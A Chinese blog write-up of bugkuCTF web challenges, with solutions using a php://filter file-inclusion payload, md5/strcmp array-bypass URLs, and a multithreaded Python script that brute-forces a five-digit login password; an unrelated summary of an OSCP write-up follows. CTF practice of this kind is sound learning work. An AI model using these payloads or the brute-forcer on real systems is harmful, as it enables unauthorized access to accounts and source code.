bugkuCTF Writeup (Web)15-21

Web4

第十五题
看源代码,一大堆东西解码,发现eval执行的是:

function checkSubmit() {
    var a = document.getElementById("password");
    if ("undefined" != typeof a) {
        if ("67d709b2b54aa2aa648cf6e87a7114f1" == a.value) return !0;
        alert("Error");
        a.focus();
        return !1
    }
}

document.getElementById("levelQuest").onsubmit = checkSubmit;

总之就是要把form提交上去,于是直接去用postman提交,提交的password就是代码里的那一串字符串
这里写图片描述
取得flag


Web5

这里写图片描述
第一反应看源码,一大堆[]!()+那肯定就是jother了
扔进console执行这段jother
这里写图片描述
输出就是flag


flag在index里

这里写图片描述
题目提示flag在index里,那就是要看index的源码了
点一下链接发现url变成了

http://120.24.86.145:8005/post/index.php?file=show.php

以为是源码泄露什么的,去请求.swp .bak文件,无果
很长时间都无解,后面的题都做完了这道题依然毫无头绪,估计是碰到没接触过的知识点了
去查了一下发现使用php://filter协议
链接一下大牛的文章: leavesongs
基本上原理就是利用php://filter在执行index.php之前将其内容用base64编码,这样就掩盖了<?php,导致无法执行直接输出,输出的是base64编码之后的内容,再解一下码就可以了
payload:http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=./index.php


输入密码查看flag

这里写图片描述
输入框提示要输入5位数字密码
这里写图片描述
第一反应是传统的sql注入,试了各种方法,都不行,可能过滤的比较严
徘徊之时,突然发现url上有baopo 这样的汉语拼音,这不就是爆破 嘛,果断暴力破解
Python3代码:

import requests
import threading

psw = 0
lock = threading.RLock()
gotit = False
correct = ""


class BreakThread(threading.Thread):
    def run(self):
        global psw, gotit, correct
        while True:
            lock.acquire()
            if psw > 99999 or gotit:
                lock.release()
                break
            d = {
                "pwd": str(psw).zfill(5)
            }
            psw = psw + 1
            lock.release()
            r = requests.post("http://120.24.86.145:8002/baopo/?yes", data=d)
            r.encoding = "utf-8"
            try:
                r.text.index("密码不正确")
            except ValueError:
                print(d["pwd"] + "   right")
                gotit = True
                lock.acquire()
                correct = d["pwd"]
                lock.release()
                break
            else:
                print(d["pwd"] + "   wrong")


l = []
for i in range(2):
    l.append(BreakThread())
for i in l:
    i.start()
for i in l:
    i.join()
print("正确密码:"+correct)

这里我就开了2个线程,开太多会网络阻塞
跑出来密码是13579


前女友

这里写图片描述
藏在源代码里面有一个链接,点开又是php绕过,这回是md5
这里写图片描述
md5函数处理的必须是字符串,如果传入的是数组就可以绕过判断
strcmp也有漏洞,比较的必须是字符串,如果是数组同样也可绕过
payload: http://47.93.190.246:49162/?v1[]=sdfsdf&v2[]=sadf&v3[]=bbb


JavaScript

这里写图片描述
让我点一百万次???
我就只点一次源代码
javascript代码中,当点击次数达到1000000次的时候,发送一个post请求,那我就直接用postman发就好了
这里写图片描述


听说备份是个好习惯

这里写图片描述
打开一串看不懂的东西
提示说到“备份”,可能是备份文件泄露,于是用了一个php代码泄露检测的小工具SourceLeakHacker
检测了一下发现了index.php.bak文件,打开来
这里写图片描述
类似的md5绕过,只是前面加了一些简单的过滤,和之前几题有很多相似之处
payload: http://120.24.86.145:8002/web16/?kkeyey1[]=1&kkeyey2[]=wqerqwe


PS:前面的那个python多线程脚本,线程开到5个跑到三千多的时候就和服务器断连了,不知道为什么,这才减少到两个线程

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
OSCP 2023 Challenge Writeup-MedTech-CSDN博客是一个关于OSCP挑战赛的技术解析博客。在这篇博客中,作者详细讲解了一个名为MedTech的挑战项目,并提供了解决该挑战所需的步骤和工具。 这篇博客的开头介绍了OSCP证书的重要性和它在信息安全领域的认可度。接着,作者向读者介绍了挑战项目MedTech的背景和目标。MedTech是一个模拟医疗技术公司的网络环境,参与者需要在该环境中寻找漏洞、获取权限,最终控制主机,获取FLAG。 在解决这个挑战的过程中,作者详细介绍了使用的工具和技术。例如,他讲解了利用漏洞扫描工具Nmap进行主机发现和服务探测的步骤,以及如何使用Metasploit框架进行漏洞利用和提权。 博客中还涵盖了其他一些有关网络渗透测试的技术,如枚举、社会工程学和Web应用程序漏洞利用。作者详细解释了每个技术的原理和实际应用。 在解决MedTech挑战的过程中,作者还分享了一些遇到的困难和技巧。他提到了一些常见的错误和陷阱,并分享了如何避免它们的经验。 最后,作者总结了整个挑战的过程,并分享了他在完成挑战时的成就感和收获。他强调了在这个过程中学到的技能和知识的重要性,并鼓励读者积极参与类似的挑战和项目。 这篇博客不仅提供了对OSCP挑战赛的深入了解,而且为读者提供了解决类似问题的思路和方法。它对于那些对信息安全和网络渗透感兴趣的读者来说是一个很有价值的参考资源。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值